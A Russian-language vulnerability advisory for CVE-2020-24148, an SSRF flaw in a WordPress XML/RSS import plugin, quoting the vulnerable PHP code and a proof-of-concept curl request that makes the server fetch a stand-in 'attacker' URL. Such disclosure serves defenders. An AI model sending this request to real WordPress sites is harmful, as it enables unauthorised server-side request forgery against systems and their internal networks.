CVE-2020-24148

Серверная подделка запросов (SSRF) в плагине Import XML and RSS Feeds (import-xml-feed) 2.0.1 для WordPress через параметр data в действии moove_read_xml.

Уязвимый код:

/moove-actions.php:

...
	public function moove_read_xml() {

		$args = array(
			'data' 		=> esc_sql( wp_unslash( $_POST['data'] ) ),
			'xmlaction'	=> sanitize_text_field( wp_unslash( $_POST['xmlaction'] ) ),
			'type'		=> sanitize_text_field( wp_unslash( $_POST['type'] ) ),
			'node'		=> sanitize_text_field( wp_unslash( $_POST['node'] ) ),
		);
		$move_importer = new Moove_Importer_Controller;
		$read_xml = $move_importer->moove_read_xml( $args );
		echo $read_xml;
		die();
	}

/controllers/moove-controller.php:

class Moove_Importer_Controller {
	...
    public function moove_importer_get_content( $url ) {
        /* gets the data from a URL */

        $ch = curl_init();
        $timeout = 5;
        $user_agent = "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0";

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT,$user_agent);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
        curl_setopt($ch, CURLOPT_AUTOREFERER, 1);   
        curl_setopt($ch, CURLOPT_COOKIEFILE, '');
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        $data = curl_exec($ch);

        $errors = curl_error($ch);
        $response = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        curl_close($ch);

        return $data;
    }
    public function moove_read_xml( $args ) {
        $return_array = array();
        $parent       = false;
        if ( $args['type'] === 'url' ) :
            $xml_string = Moove_Importer_Controller::moove_importer_get_content( $args['data'] );
            $xml_string = htmlspecialchars_decode( $xml_string );
    ...

Подтверждение концепции

$ curl \
	-s "http://host/wp-admin/admin-ajax.php?action=moove_read_xml" \
	-d "type=url&data=http%3A%2F%2Fattacker%2F&xmlaction=preview&node=0"

Ссылки

• Шаблоны Nuclei
• import-xml-feed:2.0.1